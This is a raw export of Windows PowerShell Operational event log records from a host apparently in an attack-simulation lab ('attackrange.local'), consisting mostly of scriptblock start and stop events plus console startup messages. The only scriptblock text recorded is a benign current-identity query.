Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648598
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648596
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648614
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648612
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648610
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648608
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648606
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648624
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648622
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648620
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648618
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648616
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648634
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648632
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648630
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648628
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648626
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648644
Keywords=None
Message=Completed invocation of ScriptBlock ID: c453a028-29f7-41ee-ab0e-5ffac635739c
Runspace ID: a24af2bd-99c4-439d-86a7-725536edbb7c
09/14/2021 01:21:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648643
Keywords=None
Message=Started invocation of ScriptBlock ID: c453a028-29f7-41ee-ab0e-5ffac635739c
Runspace ID: a24af2bd-99c4-439d-86a7-725536edbb7c
09/14/2021 01:21:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648642
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?

ScriptBlock ID: c453a028-29f7-41ee-ab0e-5ffac635739c
Path:
09/14/2021 01:21:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09864b4a-1e80-4f08-bf2f-41e0d11d2245
Runspace ID: a24af2bd-99c4-439d-86a7-725536edbb7c
09/14/2021 01:21:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648640
Keywords=None
Message=Started invocation of ScriptBlock ID: 09864b4a-1e80-4f08-bf2f-41e0d11d2245
Runspace ID: a24af2bd-99c4-439d-86a7-725536edbb7c
09/14/2021 01:21:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648639
Keywords=None
Message=Creating Scriptblock text (1 of 1):
[System.Security.Principal.WindowsIdentity]::GetCurrent()

ScriptBlock ID: 09864b4a-1e80-4f08-bf2f-41e0d11d2245
Path:
09/14/2021 01:21:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=2648638
Keywords=None
Message=PowerShell console is ready for user input
09/14/2021 01:21:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=2648637
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 5460 in AppDomain: DefaultAppDomain.
09/14/2021 01:21:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=2648636
Keywords=None
Message=PowerShell console is starting up
09/14/2021 01:21:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648654
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648653
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648652
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648651
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648650
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648649
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648648
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648647
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648646
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648645
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648664
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648663
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648662
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
